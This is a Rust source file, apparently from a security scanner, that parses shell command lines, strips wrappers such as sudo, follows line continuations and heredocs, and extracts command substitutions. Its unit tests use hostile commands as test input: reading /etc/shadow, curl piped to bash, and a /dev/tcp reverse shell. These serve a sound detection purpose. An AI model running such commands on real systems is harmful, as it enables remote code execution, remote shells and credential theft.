1#[derive(Debug, Clone)]
13pub struct Command {
14 pub program: String,
18 pub args: Vec<String>,
22 pub raw: String,
27}
28
29const WRAPPERS: &[&str] = &[
32 "sudo", "env", "nohup", "time", "command", "exec", "builtin", "doas", "setsid", "stdbuf",
33 "nice", "ionice", "unbuffer",
34];
35
36const SEPARATORS: &[&str] = &[";", "|", "||", "&&", "&"];
38
39fn tokenize(line: &str) -> Vec<String> {
42 let mut tokens = Vec::new();
43 let mut cur = String::new();
44 let mut in_single = false;
45 let mut in_double = false;
46 let mut prev_was_space = true; let mut chars = line.chars().peekable();
49 while let Some(c) = chars.next() {
50 match c {
51 '\'' if !in_double => {
52 in_single = !in_single;
53 prev_was_space = false;
54 }
55 '"' if !in_single => {
56 in_double = !in_double;
57 prev_was_space = false;
58 }
59 '#' if !in_single && !in_double && prev_was_space => {
60 break; }
62 c if c.is_whitespace() && !in_single && !in_double => {
63 if !cur.is_empty() {
64 tokens.push(std::mem::take(&mut cur));
65 }
66 prev_was_space = true;
67 }
68 ';' | '|' | '&' if !in_single && !in_double => {
72 if !cur.is_empty() {
73 tokens.push(std::mem::take(&mut cur));
74 }
75 let op = if (c == '|' || c == '&') && chars.peek() == Some(&c) {
76 chars.next();
77 format!("{c}{c}")
78 } else {
79 c.to_string()
80 };
81 tokens.push(op);
82 prev_was_space = true;
83 }
84 c => {
85 cur.push(c);
86 prev_was_space = false;
87 }
88 }
89 }
90 if !cur.is_empty() {
91 tokens.push(cur);
92 }
93 tokens
94}
95
96fn is_assignment(tok: &str) -> bool {
97 if let Some(eq) = tok.find('=') {
99 if eq == 0 {
100 return false;
101 }
102 let name = &tok[..eq];
103 let mut chars = name.chars();
104 let first_ok = chars
105 .next()
106 .map(|c| c.is_ascii_alphabetic() || c == '_')
107 .unwrap_or(false);
108 return first_ok && name.chars().all(|c| c.is_ascii_alphanumeric() || c == '_');
109 }
110 false
111}
112
113const EXE_EXTENSIONS: &[&str] = &[".exe", ".com", ".bat", ".cmd", ".ps1"];
116
117pub(crate) fn basename(program: &str) -> String {
123 let trimmed = program.strip_prefix("./").unwrap_or(program);
124 let last = trimmed.rsplit(['/', '\\']).next().unwrap_or(trimmed);
126 let lower = last.to_ascii_lowercase();
127 for ext in EXE_EXTENSIONS {
128 if let Some(stripped) = lower.strip_suffix(ext) {
129 return last[..stripped.len()].to_string();
130 }
131 }
132 last.to_string()
133}
134
135fn to_command(tokens: &[String], raw: &str) -> Option<Command> {
138 let mut i = 0;
139 while i < tokens.len() {
140 let tok = &tokens[i];
141 if is_assignment(tok) {
142 i += 1;
143 continue;
144 }
145 if WRAPPERS.contains(&tok.to_lowercase().as_str()) {
146 i += 1;
147 while i < tokens.len() && tokens[i].starts_with('-') {
149 i += 1;
150 }
151 continue;
152 }
153 break;
154 }
155 let program_tok = tokens.get(i)?;
156 let program = basename(program_tok);
157 let args = tokens.get(i + 1..).unwrap_or(&[]).to_vec();
158 Some(Command {
159 program,
160 args,
161 raw: raw.to_string(),
162 })
163}
164
165pub fn parse_line(line: &str) -> Vec<Command> {
168 let raw = line.trim().to_string();
169 let tokens = tokenize(line);
170 if tokens.is_empty() {
171 return Vec::new();
172 }
173
174 let mut commands = Vec::new();
175 let mut segment: Vec<String> = Vec::new();
176 for tok in tokens {
177 if SEPARATORS.contains(&tok.as_str()) {
178 if let Some(cmd) = to_command(&segment, &raw) {
179 commands.push(cmd);
180 }
181 segment.clear();
182 } else {
183 segment.push(tok);
184 }
185 }
186 if let Some(cmd) = to_command(&segment, &raw) {
187 commands.push(cmd);
188 }
189 commands
190}
191
192#[derive(Debug, Clone)]
196pub(crate) struct Unit {
197 pub line: usize,
198 pub text: String,
199}
200
201const INTERPRETERS: &[&str] = &[
204 "bash", "sh", "dash", "zsh", "ksh", "python", "python3", "python2", "perl", "ruby", "php",
205 "node",
206];
207
208fn ends_with_odd_backslash(line: &str) -> bool {
209 line.chars().rev().take_while(|&c| c == '\\').count() % 2 == 1
210}
211
212fn heredoc_delimiter(text: &str) -> Option<String> {
215 let idx = text.find("<<")?;
216 let after = &text[idx + 2..];
217 if after.starts_with('<') {
218 return None; }
220 let after = after.strip_prefix('-').unwrap_or(after);
221 let after = after.trim_start().trim_start_matches(['\'', '"']);
222 let delim: String = after
223 .chars()
224 .take_while(|c| c.is_ascii_alphanumeric() || *c == '_')
225 .collect();
226 (!delim.is_empty()).then_some(delim)
227}
228
229fn feeds_interpreter(text: &str) -> bool {
232 parse_line(text)
233 .iter()
234 .any(|c| INTERPRETERS.contains(&c.program.as_str()))
235}
236
237pub(crate) fn command_substitutions(text: &str) -> Vec<String> {
240 let mut out = Vec::new();
241 let bytes = text.as_bytes();
242 let mut i = 0;
243 while i < bytes.len() {
244 if bytes[i] == b'$' && i + 1 < bytes.len() && bytes[i + 1] == b'(' {
245 let start = i + 2;
246 let mut depth = 1;
247 let mut j = start;
248 while j < bytes.len() {
249 match bytes[j] {
250 b'(' => depth += 1,
251 b')' => {
252 depth -= 1;
253 if depth == 0 {
254 break;
255 }
256 }
257 _ => {}
258 }
259 j += 1;
260 }
261 if depth == 0 {
262 let inner = &text[start..j];
263 out.push(inner.to_string());
264 out.extend(command_substitutions(inner));
265 i = j + 1;
266 continue;
267 }
268 }
269 if bytes[i] == b'`'
270 && let Some(rel) = text[i + 1..].find('`')
271 {
272 let inner = &text[i + 1..i + 1 + rel];
273 out.push(inner.to_string());
274 i = i + 1 + rel + 1;
275 continue;
276 }
277 i += 1;
278 }
279 out
280}
281
282pub(crate) fn preprocess(input: &str) -> Vec<Unit> {
287 let phys: Vec<&str> = input.lines().collect();
288 let mut units = Vec::new();
289 let mut i = 0;
290 while i < phys.len() {
291 let start_line = i + 1;
292 let mut parts: Vec<String> = Vec::new();
294 let mut j = i;
295 loop {
296 let raw = phys[j];
297 if ends_with_odd_backslash(raw) && j + 1 < phys.len() {
298 let pos = raw.rfind('\\').unwrap();
299 parts.push(raw[..pos].to_string());
300 j += 1;
301 continue;
302 }
303 parts.push(raw.to_string());
304 let te = raw.trim_end();
305 let op_cont = te.ends_with("&&")
306 || te.ends_with("||")
307 || (te.ends_with('|') && !te.ends_with("||"));
308 if op_cont && j + 1 < phys.len() {
309 j += 1;
310 continue;
311 }
312 break;
313 }
314 let text = parts.join(" ");
315
316 units.push(Unit {
318 line: start_line,
319 text: text.clone(),
320 });
321
322 let mut next = j + 1;
324 if let Some(delim) = heredoc_delimiter(&text) {
325 let fed = feeds_interpreter(&text);
326 let mut k = j + 1;
327 while k < phys.len() && phys[k].trim() != delim {
328 if fed {
329 units.push(Unit {
330 line: k + 1,
331 text: phys[k].to_string(),
332 });
333 }
334 k += 1;
335 }
336 next = if k < phys.len() { k + 1 } else { k };
337 }
338 i = next;
339 }
340 units
341}
342
343#[cfg(test)]
344mod tests {
345 use super::*;
346
347 #[test]
348 fn strips_sudo_and_assignments() {
349 let cmds = parse_line("FOO=bar sudo cat /etc/shadow");
350 assert_eq!(cmds.len(), 1);
351 assert_eq!(cmds[0].program, "cat");
352 assert_eq!(cmds[0].args, vec!["/etc/shadow"]);
353 }
354
355 #[test]
356 fn splits_on_pipe_and_semicolon() {
357 let cmds = parse_line("id; curl http://x/y | bash");
358 let progs: Vec<_> = cmds.iter().map(|c| c.program.as_str()).collect();
359 assert_eq!(progs, vec!["id", "curl", "bash"]);
360 }
361
362 #[test]
363 fn comment_is_ignored() {
364 let cmds = parse_line("whoami # who am I");
365 assert_eq!(cmds.len(), 1);
366 assert_eq!(cmds[0].program, "whoami");
367 }
368
369 #[test]
370 fn hash_inside_quotes_is_kept() {
371 let cmds = parse_line("echo '# not a comment'");
372 assert_eq!(cmds[0].program, "echo");
373 assert_eq!(cmds[0].args, vec!["# not a comment"]);
374 }
375
376 #[test]
377 fn basename_resolves_path() {
378 let cmds = parse_line("/usr/bin/whoami");
379 assert_eq!(cmds[0].program, "whoami");
380 }
381
382 #[test]
383 fn raw_is_preserved_for_redirect() {
384 let cmds = parse_line("bash -i >& /dev/tcp/10.0.0.1/4444 0>&1");
385 assert!(cmds[0].raw.contains("/dev/tcp"));
386 }
387
388 #[test]
389 fn backslash_continuation_joins_lines() {
390 let units = preprocess("curl \\\n http://x/y");
391 assert_eq!(units.len(), 1);
392 assert!(units[0].text.contains("curl"));
393 assert!(units[0].text.contains("http://x/y"));
394 }
395
396 #[test]
397 fn trailing_pipe_continues_to_next_line() {
398 let units = preprocess("curl http://x/y |\n bash");
399 assert_eq!(units.len(), 1);
400 assert!(units[0].text.contains("| bash") || units[0].text.contains("| bash"));
401 }
402
403 #[test]
404 fn heredoc_data_body_is_skipped_but_shell_body_is_kept() {
405 let data = preprocess("cat <<EOF\nsecret-token=abc\nEOF\nwhoami");
407 let texts: Vec<_> = data.iter().map(|u| u.text.trim()).collect();
408 assert!(texts.contains(&"cat <<EOF"));
409 assert!(!texts.iter().any(|t| t.contains("secret-token")));
410 assert!(texts.contains(&"whoami"));
411
412 let shell = preprocess("bash <<EOF\nwhoami\nEOF");
414 assert!(shell.iter().any(|u| u.text.trim() == "whoami"));
415 }
416
417 #[test]
418 fn extracts_command_substitutions() {
419 let subs = command_substitutions("x=$(whoami); y=`id`");
420 assert!(subs.iter().any(|s| s.contains("whoami")));
421 assert!(subs.iter().any(|s| s.contains("id")));
422 }
423}